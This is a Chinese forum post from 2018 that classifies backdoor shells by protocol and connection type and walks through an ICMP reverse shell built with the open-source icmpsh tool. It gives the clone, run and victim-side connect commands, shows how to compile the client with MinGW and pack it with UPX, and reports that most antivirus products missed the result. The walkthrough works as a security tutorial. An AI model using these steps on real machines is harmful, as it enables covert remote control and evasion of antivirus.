设为首页 收藏本站
查看: 1147|回复: 0

剑走偏锋:细数Shell那些事

[复制链接]

尚未签到

发表于 2018-8-29 13:06:17 | 显示全部楼层 |阅读模式
  按平台分类的话,基本上大体可以分为两大类:针对web级别的和针对系统级别的。针对web的大体根据语言不同又分为PHP、JSP、ASP等(这
让我不由得想起了那些年,大牛们写过的各种后门……),针对系统级别的一般分为:windows后门和基于unix的后门,不过到现在为止我并没有见过
apple后门,大概,是因为我穷吧。
  言归正传,今天我要跟大家聊的东西,是针对系统的Shell后门。烦请大牛不要喷我,觉得文章水的可以直接略过不谈。
  0×01 我先分个类
  这里我按照协议不同来分类。
  首先,是基于TCP UDP协议的shell
  这类shell已经遍地都是,而且功能也越来越强大,因为基于这两种协议的***通信能力更强。当然树大易招风,关于这类shell后门也越来越多的
受到安全厂商的关注,造成的结果是这类***一般都是产业级的进行免杀操作,使用之后被杀毒软件截获便失去效用,需要重新做免杀。而这玩意儿略贵。所以一般
的个人想玩玩又不懂免杀的根本玩不起。
  其次,是基于ICMP协议的shell
  我们都知道,通信协议无外乎TCP UDP ICMP了,既然前两种玩不起我们就来看看ICMP怎么样。
  既然是通信协议嘛,肯定是可以发送数据的,那么我们来看看一个PING究竟发送了什么数据:
DSC0000.jpg

DSC0001.jpg

  从图上就可以清晰看出来了。第一张是windows ping的时候发送的数据,第二张图是linux的ping的时候发送的数据,还是有点差距的,嗯。
  通过以上证据就可以证明ICMP协议通信是可以带着我们想要的数据飞的,最起码理论上是可行的。
  然后,是基于DNS解析的shell
  除去三种协议以外,还有一种是基于DNS解析的后门shell。之前我记得有人发过一种剑(wei)走(suo)偏(zhi)锋(ji)的
CMCC(或者Chinanet)的不登陆的上网方式,用的就是DNS;之前还有一个***就是用这种方式来传数据的,那场面,更加猥琐,简直不忍直视。。
  这里DNS解析后门自然是有好处的,就是极不容易被察觉,但是自然也有缺点,那就是数据走得慢。这个慢,不是一般的慢,总的说来,你要是想用高级功能比如桌面控制,呵呵,基本不可能,而且实施起来也略微复杂。所以这次我们暂且不讲,以后再讨论。
  按照协议分完了,我们再按照连接方式分一下
  按照连接方式,分为主动连接和被动连接,主动连接是Bind Shell,被动连接是Reverse Shell,这个我想大家也应该很熟悉了。这里上几张图简要做一下解释(图片来源于网络)
DSC0002.jpg

  由***机主动连接受害主机,这种我们叫做Bind Shell,缺点是易被拦截易掉线。
DSC0003.jpg

  由被***主机主动连接***机器,这种我们叫做Reverse Shell,是目前主流的Shell使用的类型,缺点是需要***机器有固定的公网IP,优点是不用担心目标机器的动态IP导致掉线问题。
  但是,不管是Bind Shell还是Reverse Shell,因为基于TCP或者UDP,防火墙很敏感,容易被防火墙拦截,即便是我们的后门已经经过了杀软的考验,可能也会在这一轮中折掉,导致我们的后门安插失败。
DSC0004.jpg

  今天我们要跟大家分享的是:ICMP Reverse Shell
  0×02 测试平台简介
  首先,我们得挑一个ICMP的通信Shell,当然自己写也是可以的。平台的原理是其实还是通信,利用ICMP通信协议,将我们想要执行的shell命令通过服务端传给客户端,然后客户端将执行之后得到的数据通过ICMP包传回来,服务端负责接收然后回显。
  这里我们挑取git的一个ICMP Shell项目进行实际操作。
  先把项目取回本地
git clone https://github.com/inquisb/icmpsh.git /opt/icmp_reverse_shell  拿下来之后,我们可以看到这里面的文件了。这里面所有的东西都是开源的,方便我们看详细原理。其实文件中主要起作用的主要是两个文
件,icmpsh_m.py和icmpsh.exe,其中icmpsh_m.py是服务端需要执行的python脚本,icmpsh.exe是客户端需要
执行的脚本。还有一个icmpsh-s.c的slave客户端的源代码文件,有兴趣的同学可以看一下。除此之外,还有一个run.sh的BASH文件,文
件内容大家可以自己看,主要就是如果你忘了配置什么东西他会事先配置好,最终起作用的还是icmpsh_m.py,所以最后服务端我们就用run.sh就
好了
  0×03 演练
  说了这么多,下面我们开始玩真的。
  先说服务端:
  运行run.sh
./run.sh  然后我们根据提示输入IP,这里IP应该是公网IP,但是这里使用的是内网,所以我们输入C段IP,然后回车,我们就可以看到这样的提示:
DSC0005.jpg

  这样服务端就配置好了,正在监听状态。
  下面是客户端:
  我们打开靶机的cmd,输入命令:
icmpsh.exe -t 192.168.246.129 -d 500 -b 30 -s 128
DSC0006.jpg

  ***机这边就成功拿到shell了
DSC0007.jpg

  到这里,基本上想做什么就没问题了。
  Shell中执行的命令已经被执行,但是靶机完全没反应
DSC0008.jpg

  下面是玩耍时间,这个时候靶机ping一下***机,就发现***机收到了靶机的ping的聊骚内容,居然还有“hi”,掩面///…
DSC0009.jpg

  使用wireshark截个包看一下,嗯,数据全出来了,好赤果果
DSC00010.jpg

  实操就这样。
  0×04 关于Shell客户端
  首先一个问题是Shell客户端的运行平台问题,很明显,客户端是只针对于windows平台的,Server是跨平台的。
  然后就是客户端的来源,当然大家可以使用作者在git上面给出的exe,也可以自己检查源代码文件然后自行编译加壳,编译的过程如下(这里只说linux的编译过程):
  首先安装mingw,这是编译的关键
sudo apt-get update  
sudo apt-get install gcc-mingw32
  过程中计算机会将其余附加包一起装好我们就不操心了。
  安装好之后就是编译
i686-w64-mingw32-gcc icmpsh-s.c -o icmp-slave.exe
DSC00011.jpg

  然后我们可以用upx加个壳
upx -v icmp-slave.exe -o icmp-slave-upx.exe
DSC00012.jpg

  这样一个客户端就成型了,我们可以看出来压缩率大约在56%左右,压缩完之后大小56K左右。
  其实除了以上问题之外,我想大家最关心的就应该是杀软对Shell的反应了吧。细心的小伙伴应该发现了,在上面的图里,我的靶机是
全程运行着360进行的实验(不是刻意为之,是之前做测试的时候靶机就装上了,这次没关),其实不只是360,到目前写本文章之前,绝大部分杀软都没有报
毒。
当然,这里我说的是我自己生成的客户端,至于git上自带的客户端,国内杀毒软件还是基本上都检测出来了。
  可是我可怜的小a啊。。
DSC00013.jpg

  至于更全面的测试,我这里贴上virustotal.com的结果:
  首先是关于git上自带的客户端,我们发现大多数国内厂商都报毒了,看到这里我表示很欣慰。:)
DSC00014.jpg

  然后我再拿我自己生成的加过壳的exe看一下,咦这是什么情况。。。
DSC00015.jpg

  然后我们再看看刚编译出来热乎的,好像就更奇怪了。。
DSC00016.jpg

  看来是杀毒软件对upx现在是越来越敏感了,加个壳都不饶过。至于其他的奇怪现象。。。咦?飞碟!
  0×05 后记
  写到这里,ICMP反向Shell介绍也就告一段落了,东西确实不是新东西,技术也没有多复杂,不过重点在于思路,在于以此为基础实现的更多更好(wei)玩(suo)的玩法。这次的交流就到这里,有更多更好的更猥琐的玩法的同学,欢迎聊骚私信。



运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-558198-1-1.html 上篇帖子: php shell超强免杀、减少体积工具 下篇帖子: Shell升级,/bin/bash版本4.1到4.3-bruce个人博客
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表